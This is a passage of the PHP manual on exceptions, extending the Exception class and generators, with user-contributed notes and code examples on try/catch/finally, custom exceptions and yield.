Hayley Watson 23-Jun-2014 03:58
Remember that Exceptions are also objects and can be handled as such; they can be constructed in and returned as values from functions, passed as arguments to other functions, and examined before being thrown. You don't have to throw it as soon as you have constructed it (the stack trace will of course reflect the moment the Exception was constructed, not the moment it was thrown).

You might, for example, want to collect additional information to include in YourException but you don't want to clutter up the YourException class or the code containing the "throw" statement by collecting the information there. Or you might want to do something (such as logging) with each Exception that is thrown from a certain region (catch it, pass it to the logging function, then rethrow it).
telefoontoestel at nospam dot org 18-Jun-2014 09:34
When using finally keep in mind that when a exit/die statement is used in the catch block it will NOT go through the finally block.

<?php
try {
    echo "try block<br />";
    throw new Exception("test");
} catch (Exception $ex) {
    echo "catch block<br />";
} finally {
    echo "finally block<br />";
}

// try block
// catch block
// finally block
?>

<?php
try {
    echo "try block<br />";
    throw new Exception("test");
} catch (Exception $ex) {
    echo "catch block<br />";
    exit(1);
} finally {
    echo "finally block<br />";
}

// try block
// catch block
?>
php at marcuspope dot com 25-Jan-2014 02:42
Using a return statement inside a finally block will override any other return statement or thrown exception from the try block and all defined catch blocks.   Code execution in the parent stack will continue as if the exception was never thrown.

Frankly this is a good design decision because it means I can optionally dismiss all thrown exceptions from 1 or more catch blocks in one place, without having to nest my whole try block inside an additional (and otherwise needless) try/catch block.

This is the same behavior as Java, whereas C# throws a compile time error when a return statement exists inside a finally block.  So I figured it was worth pointing out to PHP devs who may not have any exposure to finally blocks or how other languages do it.

<?php

function asdf()
{
    try {
        throw new Exception('error');
    }
    catch(Exception $e) {
        echo "An error occurred";
        throw $e;
    }
    finally {
                //This overrides the exception as if it were never thrown
        return "\nException erased";
    }
}

try {
    echo asdf();
}
catch(Exception $e) {
    echo "\nResult: " . $e->getMessage();
}
?>

The output from above will look like this:

    An error occurred
    Exception erased

Without the return statement in the finally block it would look like this:

    An error occurred
    Result: error
cyrus+php at boadway dot ca 02-Oct-2013 11:50
There's some inconsistent behaviour associated with PHP 5.5.3's finally and return statements. If a method returns a variable in a try block (e.g. return $foo;), and finally modifies that variable, the /modified/ value is returned. However, if the try block has a return that has to be evaluated in-line (e.g. return $foo+0;), finally's changes to $foo will /not/ affect the return value.

[code]
function returnVariable(){
    $foo = 1;
    try{
        return $foo;
    } finally {
        $foo++;
    }
}

function returnVariablePlusZero(){
    $foo = 1;
    try{
        return $foo + 0;
    } finally {
        $foo++;
    }
}

$test1 = returnVariable(); // returns 2, not the correct value of 1.
$test2 = returnVariablePlusZero(); // returns correct value of 1, but inconsistent with $test1.
[/code]

It looks like it's trying to be efficient by not allocating additional memory for the return value when it thinks it doesn't have to, but the spec is that finally is run after try is completed execution, and that includes the evaluation of the return expression.

One could argue (weakly) that the first method should be the correct result, but at least the two methods should be consistent.
jim at anderos dot com 28-Sep-2013 02:22
If you are using a namespace, you must indicate the global namespace when using Exceptions.
<?php
namespace alpha;
function foo(){
    throw new \Exception("Something is wrong!");
    // throw new Exception(""); will fail
}

try {
    foo();
} catch( \Exception $e ) {
    // catch( Exception $e ) will give no warning, but will not catch Exception
    echo "ERROR: $e";
}

?>
sander at rotorsolutions dot nl 26-Jun-2013 11:08
Just an example why finally blocks are usefull (5.5)

<?php

//without catch
function example() {
  try {
    //do something that throws an exeption
  }
  finally {
    //this code will be executed even when the exception is executed
  }
}

function example2() {
  try {
     //open sql connection check user as example
     if(condition) {
        return false;
     }
  }
  finally {
    //close the sql connection, this will be executed even if the return is called.
  }
}
sander at rotorsolutions dot nl 26-Jun-2013 11:06
Just an example why finally blocks are usefull (5.5)

<?php

//without catch
function example() {
  try {
    //do something that throws an exeption
  }
  finally {
    //this code will be executed even when the exception is executed
  }
}

function example2() {
  try {
     //open sql connection check user as example
     if(condition) {
        return false;
     }
  }
  finally {
    //close the sql connection, this will be executed even if the return is called.
  }
}

?>
sander at rotorsolutions dot nl 26-Jun-2013 11:05
Just an example why finally blocks are usefull (5.5)

<?php

//without catch
function example() {
  try {
    //do something that throws an exeption
  }
  finally {
    //this code will be executed even when the exception is executed
  }
}

function example2() {
  try {
     //open sql connection check user as example
     if(condition) {
        return false;
     }
  }
  finally {
    //close the sql connection, this will be executed even if the return is called.
  }
}

?>
Edu 25-Jun-2013 03:13
The "finally" block can change the exception that has been throw by the catch block.

<?php
try{
        try {
                throw new \Exception("Hello");
        } catch(\Exception $e) {
                echo $e->getMessage()." catch in\n";
                throw $e;
        } finally {
                echo $e->getMessage()." finally \n";
                throw new \Exception("Bye");
        }
} catch (\Exception $e) {
        echo $e->getMessage()." catch out\n";
}
?>

The output is:

Hello catch in
Hello finally
Bye catch out
Sawsan 29-Nov-2011 06:36
the following is an example of a re-thrown exception and the using of getPrevious function:

<?php

$name = "Name";

//check if the name contains only letters, and does not contain the word name

try
   {
   try
     {
      if (preg_match('/[^a-z]/i', $name))
       {
           throw new Exception("$name contains character other than a-z A-Z");
       }
       if(strpos(strtolower($name), 'name') !== FALSE)
       {
          throw new Exception("$name contains the word name");
       }
       echo "The Name is valid";
     }
   catch(Exception $e)
     {
     throw new Exception("insert name again",0,$e);
     }
   }

catch (Exception $e)
   {
   if ($e->getPrevious())
   {
    echo "The Previous Exception is: ".$e->getPrevious()->getMessage()."<br/>";
   }
   echo "The Exception is: ".$e->getMessage()."<br/>";
   }

 ?>
alex dowgailenko [at] g mail . com 27-Jul-2011 09:20
If you use the set_error_handler() to throw exceptions of errors, you may encounter issues with __autoload() functionality saying that your class doesn't exist and that's it.

If you do this:

<?php

class MyException extends Exception
{
}

class Tester
{
    public function foobar()
    {
        try
        {
            $this->helloWorld();
        } catch (MyException $e) {
            throw new Exception('Problem in foobar',0,$e);
        }
    }

    protected function helloWorld()
    {
        throw new MyException('Problem in helloWorld()');
    }
}

$tester = new Tester;
try
{
    $tester->foobar();
} catch (Exception $e) {
    echo $e->getTraceAsString();
}
?>

The trace will only show $tester->foobar() and not the call made to $tester->helloWorld().

In other words, if you pass a previous exception to a new one, the previous exception's stack trace is taken into account in the new exception.
Johan 05-May-2011 10:18
Custom error handling on entire pages can avoid half rendered pages for the users:

<?php
ob_start();
try {
    /*contains all page logic
    and throws error if needed*/
    ...
} catch (Exception $e) {
  ob_end_clean();
  displayErrorPage($e->getMessage());
}
?>
zmunoz at gmail dot com 18-May-2010 10:05
When catching an exception inside a namespace it is important that you escape to the global space:

<?php
 namespace SomeNamespace;

 class SomeClass {

  function SomeFunction() {
   try {
    throw new Exception('Some Error Message');
   } catch (\Exception $e) {
    var_dump($e->getMessage());
   }
  }

 }
?>
ask at nilpo dot com 27-May-2009 09:19
If you intend on creating a lot of custom exceptions, you may find this code useful.  I've created an interface and an abstract exception class that ensures that all parts of the built-in Exception class are preserved in child classes.  It also properly pushes all information back to the parent constructor ensuring that nothing is lost.  This allows you to quickly create new exceptions on the fly.  It also overrides the default __toString method with a more thorough one.

<?php
interface IException
{
    /* Protected methods inherited from Exception class */
    public function getMessage();                 // Exception message
    public function getCode();                    // User-defined Exception code
    public function getFile();                    // Source filename
    public function getLine();                    // Source line
    public function getTrace();                   // An array of the backtrace()
    public function getTraceAsString();           // Formated string of trace

    /* Overrideable methods inherited from Exception class */
    public function __toString();                 // formated string for display
    public function __construct($message = null, $code = 0);
}

abstract class CustomException extends Exception implements IException
{
    protected $message = 'Unknown exception';     // Exception message
    private   $string;                            // Unknown
    protected $code    = 0;                       // User-defined exception code
    protected $file;                              // Source filename of exception
    protected $line;                              // Source line of exception
    private   $trace;                             // Unknown

    public function __construct($message = null, $code = 0)
    {
        if (!$message) {
            throw new $this('Unknown '. get_class($this));
        }
        parent::__construct($message, $code);
    }

    public function __toString()
    {
        return get_class($this) . " '{$this->message}' in {$this->file}({$this->line})\n"
                                . "{$this->getTraceAsString()}";
    }
}
?>

Now you can create new exceptions in one line:

<?php
class TestException extends CustomException {}
?>

Here's a test that shows that all information is properly preserved throughout the backtrace.

<?php
function exceptionTest()
{
    try {
        throw new TestException();
    }
    catch (TestException $e) {
        echo "Caught TestException ('{$e->getMessage()}')\n{$e}\n";
    }
    catch (Exception $e) {
        echo "Caught Exception ('{$e->getMessage()}')\n{$e}\n";
    }
}

echo '<pre>' . exceptionTest() . '</pre>';
?>

Here's a sample output:

Caught TestException ('Unknown TestException')
TestException 'Unknown TestException' in C:\xampp\htdocs\CustomException\CustomException.php(31)
#0 C:\xampp\htdocs\CustomException\ExceptionTest.php(19): CustomException->__construct()
#1 C:\xampp\htdocs\CustomException\ExceptionTest.php(43): exceptionTest()
#2 {main}
Shot (Piotr Szotkowski) 21-Oct-2008 09:13
‘Normal execution (when no exception is thrown within the try block, *or when a catch matching the thrown exception’s class is not present*) will continue after that last catch block defined in sequence.’

‘If an exception is not caught, a PHP Fatal Error will be issued with an “Uncaught Exception …” message, unless a handler has been defined with set_exception_handler().’

These two sentences seem a bit contradicting about what happens ‘when a catch matching the thrown exception’s class is not present’ (and the second sentence is actually correct).
michael dot ochs at gmx dot net 21-Mar-2008 12:44
Actually it isn't possible to do:
<?php
someFunction() OR throw new Exception();
?>

This leads to a T_THROW Syntax Error. If you want to use this kind of exceptions, you can do the following:

<?php
function throwException($message = null,$code = null) {
    throw new Exception($message,$code);
}

someFunction() OR throwException();
?>
chugadie dot geo at yahoo dot com 05-Mar-2008 07:40
@webmaster at asylum-et dot com

What Mo is describing is bug 44053 (http://bugs.php.net/bug.php?id=44053) in which exceptions cannot be caught if you are using a custom error handler to catch warnings, notices, etc.
omnibus at omnibus dot edu dot pl 04-Dec-2007 12:11
Just to be more precise in what Frank found:
Catch the exceptions always in order from the bottom to the top of the Exception and subclasses class hierarchy. If you have class MyException extending Exception and class My2Exception extending MyException always catch My2Exception before MyException.

Hope this helps
hartym dot dont dot like dot spam at gmail dot com 18-Oct-2007 01:41
@serenity: of course you need to throw exception within the try block, catch will not watch fatal errors, nor less important errors but only exceptions that are instanceof the exception type you're giving. Of course by within the try block, i mean within every functions call happening in try block.

For example, to nicely handle old mysql errors, you can do something like this:

<?php
try
{
  $connection = mysql_connect(...);
  if ($connection === false)
  {
    throw new Exception('Cannot connect do mysql');
  }

   /* ... do whatever you need with database, that may mail and throw exceptions too ... */

   mysql_close($connection);
}
catch (Exception $e)
{
   /* ... add logging stuff there if you need ... */

  echo "This page cannot be displayed";
}

?>

By doing so, you're aiming at the don't repeat yourself (D.R.Y) concept, by managing error handling at only one place for the whole.
jon at hackcraft dot net 24-Jan-2007 06:52
Further to dexen at google dot me dot up with "use destructors to perform a cleanup in case of exception". The fact that PHP5 has destructors, exception handling, and predictable garbage collection (if there's a single reference in scope and the scope is left then the destructor is called immediately) allows for the use of the RAII idiom.

http://en.wikipedia.org/wiki/Resource_Acquisition_Is_Initialization and my own http://www.hackcraft.net/RAII/ describe this.
jazfresh at hotmail.com 08-Aug-2006 07:18
Sometimes you want a single catch() to catch multiple types of Exception. In a language like Python, you can specify multiple types in a catch(), but in PHP you can only specify one. This can be annoying when you want handle many different Exceptions with the same catch() block.

However, you can replicate the functionality somewhat, because catch(<classname> $var) will match the given <classname> *or any of it's sub-classes*.

For example:

<?php
class DisplayException extends Exception {};
class FileException extends Exception {};
class AccessControl extends FileException {}; // Sub-class of FileException
class IOError extends FileException {}; // Sub-class of FileException

try {
  if(!is_readable($somefile))
     throw new IOError("File is not readable!");
  if(!user_has_access_to_file($someuser, $somefile))
     throw new AccessControl("Permission denied!");
  if(!display_file($somefile))
     throw new DisplayException("Couldn't display file!");

} catch (FileException $e) {
  // This block will catch FileException, AccessControl or IOError exceptions, but not Exceptions or DisplayExceptions.
  echo "File error: ".$e->getMessage();
  exit(1);
}
?>

Corollary: If you want to catch *any* exception, no matter what the type, just use "catch(Exception $var)", because all exceptions are sub-classes of the built-in Exception.
fjoggen at gmail dot com 26-Apr-2006 10:58
This code will turn php errors into exceptions:

<?php
function exceptions_error_handler($severity, $message, $filename, $lineno) {
    throw new ErrorException($message, 0, $severity, $filename, $lineno);
}

set_error_handler('exceptions_error_handler');
?>

However since <?php set_error_handler()?> doesn't work with fatal errors, you will not be able to throw them as Exceptions.


Extending Exceptions

A User defined Exception class can be defined by extending the built-in Exception class. The members and properties below, show what is accessible within the child class that derives from the built-in Exception class.

Example #1 The Built in Exception class

<?php
class Exception
{
    protected $message = 'Unknown exception';   // exception message
    private   $string;                          // __toString cache
    protected $code = 0;                        // user defined exception code
    protected $file;                            // source filename of exception
    protected $line;                            // source line of exception
    private   $trace;                           // backtrace
    private   $previous;                        // previous exception if nested exception

    public function __construct($message = null, $code = 0, Exception $previous = null);

    final private function __clone();           // Inhibits cloning of exceptions.

    final public  function getMessage();        // message of exception
    final public  function getCode();           // code of exception
    final public  function getFile();           // source filename
    final public  function getLine();           // source line
    final public  function getTrace();          // an array of the backtrace()
    final public  function getPrevious();       // previous exception
    final public  function getTraceAsString();  // formatted string of trace

    // Overrideable
    public function __toString();               // formatted string for display
}
?>

If a class extends the built-in Exception class and re-defines the constructor, it is highly recommended that it also call parent::__construct() to ensure all available data has been properly assigned. The __toString() method can be overridden to provide a custom output when the object is presented as a string.

Note:

Exceptions cannot be cloned. Attempting to clone an Exception will result in a fatal E_ERROR error.

Example #2 Extending the Exception class (PHP 5.3.0+)

<?php
/**
 * Define a custom exception class
 */
class MyException extends Exception
{
    // Redefine the exception so message isn't optional
    public function __construct($message, $code = 0, Exception $previous = null) {
        // some code

        // make sure everything is assigned properly
        parent::__construct($message, $code, $previous);
    }

    // custom string representation of object
    public function __toString() {
        return __CLASS__ . ": [{$this->code}]: {$this->message}\n";
    }

    public function customFunction() {
        echo "A custom function for this type of exception\n";
    }
}

/**
 * Create a class to test the exception
 */
class TestException
{
    public $var;

    const THROW_NONE    = 0;
    const THROW_CUSTOM  = 1;
    const THROW_DEFAULT = 2;

    function __construct($avalue = self::THROW_NONE) {

        switch ($avalue) {
            case self::THROW_CUSTOM:
                // throw custom exception
                throw new MyException('1 is an invalid parameter', 5);
                break;

            case self::THROW_DEFAULT:
                // throw default one.
                throw new Exception('2 is not allowed as a parameter', 6);
                break;

            default:
                // No exception, object will be created.
                $this->var = $avalue;
                break;
        }
    }
}

// Example 1
try {
    $o = new TestException(TestException::THROW_CUSTOM);
} catch (MyException $e) {      // Will be caught
    echo "Caught my exception\n", $e;
    $e->customFunction();
} catch (Exception $e) {        // Skipped
    echo "Caught Default Exception\n", $e;
}

// Continue execution
var_dump($o); // Null
echo "\n\n";

// Example 2
try {
    $o = new TestException(TestException::THROW_DEFAULT);
} catch (MyException $e) {      // Doesn't match this type
    echo "Caught my exception\n", $e;
    $e->customFunction();
} catch (Exception $e) {        // Will be caught
    echo "Caught Default Exception\n", $e;
}

// Continue execution
var_dump($o); // Null
echo "\n\n";

// Example 3
try {
    $o = new TestException(TestException::THROW_CUSTOM);
} catch (Exception $e) {        // Will be caught
    echo "Default Exception caught\n", $e;
}

// Continue execution
var_dump($o); // Null
echo "\n\n";

// Example 4
try {
    $o = new TestException();
} catch (Exception $e) {        // Skipped, no exception
    echo "Default Exception caught\n", $e;
}

// Continue execution
var_dump($o); // TestException
echo "\n\n";
?>

Note:

Versions of PHP 5, prior to PHP 5.3.0 do not support nesting of exceptions. The following code fragment can be used as a replacement MyException class if you wish to run this example.

<?php
/**
 * Define a custom exception class
 */
class MyException extends Exception
{
    // Redefine the exception so message isn't optional
    public function __construct($message, $code = 0) {
        // some code

        // make sure everything is assigned properly
        parent::__construct($message, $code);
    }

    // custom string representation of object
    public function __toString() {
        return __CLASS__ . ": [{$this->code}]: {$this->message}\n";
    }

    public function customFunction() {
        echo "A custom function for this type of exception\n";
    }
}
?>

User Contributed Notes

hollodotme 26-May-2014 03:57
Not mentioned in the class structure on top of this site are the following members:

<?php
/**
 * @var string
 */
protected $string;

/**
 * @var array
 */
protected $trace;

/**
 * @var Exception
 */
protected $previous;
?>

... and these methods:

<?php
/**
 * @return Exception|null
 */
final public function getPrevious();
?>
michaelrfairhurst at gmail dot com 15-Oct-2012 01:55
Custom exception classes can allow you to write tests that prove your exceptions
are meaningful. Usually testing exceptions, you either assert the message equals
something in which case you can't change the message format without refactoring,
or not make any assertions at all in which case you can get misleading messages
later down the line. Especially if your $e->getMessage is something complicated
like a var_dump'ed context array.

The solution is to abstract the error information from the Exception class into
properties that can be tested everywhere except the one test for your formatting.

<?php

class TestableException extends Exception {

        private $property;

        function __construct($property) {

                $this->property = $property;
                parent::__construct($this->format($property));

        }

        function format($property) {
                return "I have formatted: " . $property . "!!";
        }

        function getProperty() {
                return $this->property;
        }

}

function testSomethingThrowsTestableException() {
        try {
                throw new TestableException('Property');
        } Catch (TestableException $e) {
                $this->assertEquals('Property', $e->getProperty());
        }
}

function testExceptionFormattingOnlyOnce() {
        $e = new TestableException;
        $this->assertEquals('I have formatted: properly for the only required test!!',
                $e->format('properly for the only required test')
        );
}

?>
Dor 15-Oct-2011 11:30
It's important to note that subclasses of the Exception class will be caught by the default Exception handler

<?php

    /**
     * NewException
     * Extends the Exception class so that the $message parameter is now mendatory.
     *
     */
    class NewException extends Exception {
        //$message is now not optional, just for the extension.
        public function __construct($message, $code = 0, Exception $previous = null) {
            parent::__construct($message, $code, $previous);
        }
    }

    /**
     * TestException
     * Tests and throws Exceptions.
     */
    class TestException {
        const NONE = 0;
        const NORMAL = 1;
        const CUSTOM = 2;
        public function __construct($type = self::NONE) {
            switch ($type) {
                case 1:
                    throw new Exception('Normal Exception');
                    break;
                case 2:
                    throw new NewException('Custom Exception');
                    break;
                default:
                    return 0; //No exception is thrown.
            }
        }
    }

    try {
        $t = new TestException(TestException::CUSTOM);
    }
    catch (Exception $e) {
        print_r($e); //Exception Caught
    }

?>

Note that if an Exception is caught once, it won't be caught again (even for a more specific handler).
iamhiddensomewhere at gmail dot com 01-Jan-2010 12:17
As previously noted exception linking was recently added (and what a god-send it is, it certainly makes layer abstraction (and, by association, exception tracking) easier).

Since <5.3 was lacking this useful feature I took some initiative and creating a custom exception class that all of my exceptions inherit from:

<?php

class SystemException extends Exception
{
    private $previous;

    public function __construct($message, $code = 0, Exception $previous = null)
    {
        parent::__construct($message, $code);

        if (!is_null($previous))
        {
            $this -> previous = $previous;
        }
    }

    public function getPrevious()
    {
        return $this -> previous;
    }
}

?>

Hope you find it useful.
sapphirepaw.org 24-Nov-2009 04:37
Support for exception linking was added in PHP 5.3.0. The getPrevious() method and the $previous argument to the constructor are not available on any built-in exceptions in older versions of PHP.
paragdiwan at gmail dot com 17-Jan-2009 10:32
I have written similar simple custom exception class. Helpful for newbie.
<?php
    /*
        This is written for overriding the exceptions.
        custom exception class
    */
    error_reporting(E_ALL-E_NOTICE);
    class myCustomException extends Exception
    {

        public function __construct($message, $code=0)
        {
            parent::__construct($message,$code);
        }

        public function __toString()
        {
            return "<b style='color:red'>".$this->message."</b>";
        }

    }

    class testException
    {

        public function __construct($x)
        {

            $this->x=$x;

        }

        function see()
        {

            if($this->x==9 )
            {
                throw new myCustomException("i didnt like it");
            }
        }
    }

    $obj = new testException(9);
    try{

        $obj->see();
    }
    catch(myCustomException $e)
    {
        echo $e;
    }
?>


Generators

Table of Contents

  • Generators overview
  • Generator syntax
  • Comparing generators with Iterator objects

User Contributed Notes

There are no user contributed notes for this page.


Generators overview

(PHP 5 >= 5.5.0)

Generators provide an easy way to implement simple iterators without the overhead or complexity of implementing a class that implements the Iterator interface.

A generator allows you to write code that uses foreach to iterate over a set of data without needing to build an array in memory, which may cause you to exceed a memory limit, or require a considerable amount of processing time to generate. Instead, you can write a generator function, which is the same as a normal function, except that instead of returning once, a generator can yield as many times as it needs to in order to provide the values to be iterated over.

A simple example of this is to reimplement the range() function as a generator. The standard range() function has to generate an array with every value in it and return it, which can result in large arrays: for example, calling range(0, 1000000) will result in well over 100 MB of memory being used.

As an alternative, we can implement an xrange() generator, which will only ever need enough memory to create an Iterator object and track the current state of the generator internally, which turns out to be less than 1 kilobyte.

Example #1 Implementing range() as a generator

<?php
function xrange($start, $limit, $step = 1) {
    if ($start < $limit) {
        if ($step <= 0) {
            throw new LogicException('Step must be +ve');
        }

        for ($i = $start; $i <= $limit; $i += $step) {
            yield $i;
        }
    } else {
        if ($step >= 0) {
            throw new LogicException('Step must be -ve');
        }

        for ($i = $start; $i >= $limit; $i += $step) {
            yield $i;
        }
    }
}

/*
 * Note that both range() and xrange() result in the same
 * output below.
 */

echo 'Single digit odd numbers from range():  ';
foreach (range(1, 9, 2) as $number) {
    echo "$number ";
}
echo "\n";

echo 'Single digit odd numbers from xrange(): ';
foreach (xrange(1, 9, 2) as $number) {
    echo "$number ";
}
?>

The above example will output:

Single digit odd numbers from range():  1 3 5 7 9
Single digit odd numbers from xrange(): 1 3 5 7 9

User Contributed Notes

swen dot zanon at geoglis dot de 21-Mar-2014 07:50
I always get these results (approximately), no matter how many times I request:

without generator / with array:
time: 2.3667 memory (byte): 298057728

with generator:
time: 8.4556 memory (byte): 9175040
dc at libertyskull dot com 17-Feb-2014 11:59
Same example, different results:

----------------------------------
           |  time  | memory, mb |
----------------------------------
| not gen  | 0.7589 | 146.75     |
|---------------------------------
| with gen | 0.7469 | 8.75       |
|---------------------------------

Time in results varying from 6.5 to 7.8 on both examples.
So no real drawbacks concerning processing speed.
lubaev 15-Jan-2014 08:46
Abstract test.
<?php

$start_time=microtime(true);
$array = array();
$result = '';
for($count=1000000; $count--;)
{
  $array[]=$count/2;
}
foreach($array as $val)
{
  $val += 145.56;
  $result .= $val;
}
$end_time=microtime(true);

echo "time: ", bcsub($end_time, $start_time, 4), "\n";
echo "memory (byte): ", memory_get_peak_usage(true), "\n";

?>

<?php

$start_time=microtime(true);
$result = '';
function it()
{
  for($count=1000000; $count--;)
  {
    yield $count/2;
  }
}
foreach(it() as $val)
{
  $val += 145.56;
  $result .= $val;
}
$end_time=microtime(true);

echo "time: ", bcsub($end_time, $start_time, 4), "\n";
echo "memory (byte): ", memory_get_peak_usage(true), "\n";

?>
Result:
----------------------------------
           |  time  | memory, mb |
----------------------------------
| not gen  | 2.1216 | 89.25      |
|---------------------------------
| with gen | 6.1963 | 8.75       |
|---------------------------------
| diff     | < 192% | > 90%      |
----------------------------------
bloodjazman at gmail dot com 15-Aug-2013 04:32
for the protection from the leaking of resources
see RFC https://wiki.php.net/rfc/generators#closing_a_generator

and use finnaly

sample code

function getLines($file) {
    $f = fopen($file, 'r');
    try {
        while ($line = fgets($f)) {
            yield $line;
        }
    } finally {
        fclose($f);
    }
}

foreach (getLines("file.txt") as $n => $line) {
    if ($n > 5) break;
    echo $line;
}


Generator syntax

A generator function looks just like a normal function, except that instead of returning a value, a generator yields as many values as it needs to.

When a generator function is called, it returns an object that can be iterated over. When you iterate over that object (for instance, via a foreach loop), PHP will call the generator function each time it needs a value, then saves the state of the generator when the generator yields a value so that it can be resumed when the next value is required.

Once there are no more values to be yielded, then the generator function can simply exit, and the calling code continues just as if an array has run out of values.

Note:

A generator cannot return a value: doing so will result in a compile error. An empty return statement is valid syntax within a generator and it will terminate the generator.

yield keyword

The heart of a generator function is the yield keyword. In its simplest form, a yield statement looks much like a return statement, except that instead of stopping execution of the function and returning, yield instead provides a value to the code looping over the generator and pauses execution of the generator function.

Example #1 A simple example of yielding values

<?php
function gen_one_to_three() {
    for ($i = 1; $i <= 3; $i++) {
        // Note that $i is preserved between yields.
        yield $i;
    }
}

$generator = gen_one_to_three();
foreach ($generator as $value) {
    echo "$value\n";
}
?>

The above example will output:

1
2
3

Note:

Internally, sequential integer keys will be paired with the yielded values, just as with a non-associative array.

Caution

If you use yield in an expression context (for example, on the right hand side of an assignment), you must surround the yield statement with parentheses. For example, this is valid:

$data = (yield $value);

But this is not, and will result in a parse error:

$data = yield $value;

This syntax may be used in conjunction with the Generator::send() method.

Yielding values with keys

PHP also supports associative arrays, and generators are no different. In addition to yielding simple values, as shown above, you can also yield a key at the same time.

The syntax for yielding a key/value pair is very similar to that used to define an associative array, as shown below.

Example #2 Yielding a key/value pair

<?php
/*
 * The input is semi-colon separated fields, with the first
 * field being an ID to use as a key.
 */

$input = <<<'EOF'
1;PHP;Likes dollar signs
2;Python;Likes whitespace
3;Ruby;Likes blocks
EOF;

function input_parser($input) {
    foreach (explode("\n", $input) as $line) {
        $fields = explode(';', $line);
        $id = array_shift($fields);

        yield $id => $fields;
    }
}

foreach (input_parser($input) as $id => $fields) {
    echo "$id:\n";
    echo "    $fields[0]\n";
    echo "    $fields[1]\n";
}
?>

The above example will output:

1:
    PHP
    Likes dollar signs
2:
    Python
    Likes whitespace
3:
    Ruby
    Likes blocks
Caution

As with the simple value yields shown earlier, yielding a key/value pair in an expression context requires the yield statement to be parenthesised:

$data = (yield $key => $value);

Yielding null values

Yield can be called without an argument to yield a NULL value with an automatic key.

Example #3 Yielding NULLs

<?php
function gen_three_nulls() {
    foreach (range(1, 3) as $i) {
        yield;
    }
}

var_dump(iterator_to_array(gen_three_nulls()));
?>

The above example will output:

array(3) {
  [0]=>
  NULL
  [1]=>
  NULL
  [2]=>
  NULL
}

Yielding by reference

Generator functions are able to yield values by reference as well as by value. This is done in the same way as returning references from functions: by prepending an ampersand to the function name.

Example #4 Yielding values by reference

<?php
function &gen_reference() {
    $value = 3;

    while ($value > 0) {
        yield $value;
    }
}

/*
 * Note that we can change $number within the loop, and
 * because the generator is yielding references, $value
 * within gen_reference() changes.
 */
foreach (gen_reference() as &$number) {
    echo (--$number).'... ';
}
?>

The above example will output:

2... 1... 0...

Generator objects

When a generator function is called for the first time, an object of the internal Generator class is returned. This object implements the Iterator interface in much the same way as a forward-only iterator object would.

User Contributed Notes

dejiakala at gmail dot com 06-Oct-2014 05:31
Another Fibonacci sequence with yield keyword:

<?php

function getFibonacci($first, $second, $total) {
  yield $first;
  yield $second;
  for ($i = 1, $total -= 2; $i <= $total; $i++) {
    $sum = $first + $second;
    $first = $second;
    $second = $sum;
    yield $sum;
  }
}

// Generate first 10 numbers of the Fibonacci sequence starting from 0, 1
foreach (getFibonacci(0, 1, 10) as $fibonacci) {
  // 0 1 1 2 3 5 8 13 21 34
  echo $fibonacci . " ";
}

?>
christophe dot maymard at gmail dot com 12-Sep-2014 01:43
<?php
//Example of class implementing IteratorAggregate using generator

class ValueCollection implements IteratorAggregate
{
    private $items = array();

    public function addValue($item)
    {
        $this->items[] = $item;
        return $this;
    }

    public function getIterator()
    {
        foreach ($this->items as $item) {
            yield $item;
        }
    }
}

//Initializes a collection
$collection = new ValueCollection();
$collection
        ->addValue('A string')
        ->addValue(new stdClass())
        ->addValue(NULL);

foreach ($collection as $item) {
    var_dump($item);
}
denshadewillspam at HOTMAIL dot com 13-Apr-2014 07:46
Note that you can't use count() on generators.

/**
 * @return integer[]
 */
function xrange() {
    for ($a = 0; $a < 10; $a++)
    {
        yield $a;
    }
}

function mycount(Traversable $traversable)
{
    $skip = 0;
    foreach($traversable as $skip)
    {
        $skip++;
    }
    return $skip;
}
echo "Count:" . count(xrange()). PHP_EOL;
echo "Count:" . mycount(xrange()). PHP_EOL;
Shumeyko Dmitriy 08-Nov-2013 04:46
This is little example of using generators with recursion. Used version of php is 5.5.5
[php]
<?php
define ("DS", DIRECTORY_SEPARATOR);
define ("ZERO_DEPTH", 0);
define ("DEPTHLESS", -1);
define ("OPEN_SUCCESS", True);
define ("END_OF_LIST", False);
define ("CURRENT_DIR", ".");
define ("PARENT_DIR", "..");

function DirTreeTraversal($DirName, $MaxDepth = DEPTHLESS, $CurrDepth = ZERO_DEPTH)
{
  if (($MaxDepth === DEPTHLESS) || ($CurrDepth < $MaxDepth)) {
    $DirHandle = opendir($DirName);
    if ($DirHandle !== OPEN_SUCCESS) {
      try{
        while (($FileName = readdir($DirHandle)) !== END_OF_LIST) { //read all file in directory
          if (($FileName != CURRENT_DIR) && ($FileName != PARENT_DIR)) {
            $FullName = $DirName.$FileName;
            yield $FullName;
            if(is_dir($FullName)) { //include sub files and directories
              $SubTrav = DirTreeTraversal($FullName.DS, $MaxDepth, ($CurrDepth + 1));
              foreach($SubTrav as $SubItem) yield $SubItem;
            }
          }
        }
      } finally {
        closedir($DirHandle);
      }
    }
  }
}

$PathTrav = DirTreeTraversal("C:".DS, 2);
print "<pre>";
foreach($PathTrav as $FileName) printf("%s\n", $FileName);
print "</pre>";
[/php]
Adil lhan (adilmedya at gmail dot com) 18-Apr-2013 06:02
For example yield keyword with Fibonacci:

function getFibonacci()
{
    $i = 0;
    $k = 1; //first fibonacci value
    yield $k;
    while(true)
    {
        $k = $i + $k;
        $i = $k - $i;
        yield $k;
    }
}

$y = 0;

foreach(getFibonacci() as $fibonacci)
{
    echo $fibonacci . "\n";
    $y++;
    if($y > 30)
    {
        break; // infinite loop prevent
    }
}


Comparing generators with Iterator objects

The primary advantage of generators is their simplicity. Much less boilerplate code has to be written compared to implementing an Iterator class, and the code is generally much more readable. For example, the following function and class are equivalent:

<?php
function getLinesFromFile($fileName) {
    if (!$fileHandle = fopen($fileName, 'r')) {
        return;
    }

    while (false !== $line = fgets($fileHandle)) {
        yield $line;
    }

    fclose($fileHandle);
}

// versus...

class LineIterator implements Iterator {
    protected $fileHandle;

    protected $line;
    protected $i;

    public function __construct($fileName) {
        if (!$this->fileHandle = fopen($fileName, 'r')) {
            throw new RuntimeException('Couldn\'t open file "' . $fileName . '"');
        }
    }

    public function rewind() {
        fseek($this->fileHandle, 0);
        $this->line = fgets($this->fileHandle);
        $this->i = 0;
    }

    public function valid() {
        return false !== $this->line;
    }

    public function current() {
        return $this->line;
    }

    public function key() {
        return $this->i;
    }

    public function next() {
        if (false !== $this->line) {
            $this->line = fgets($this->fileHandle);
            $this->i++;
        }
    }

    public function __destruct() {
        fclose($this->fileHandle);
    }
}
?>

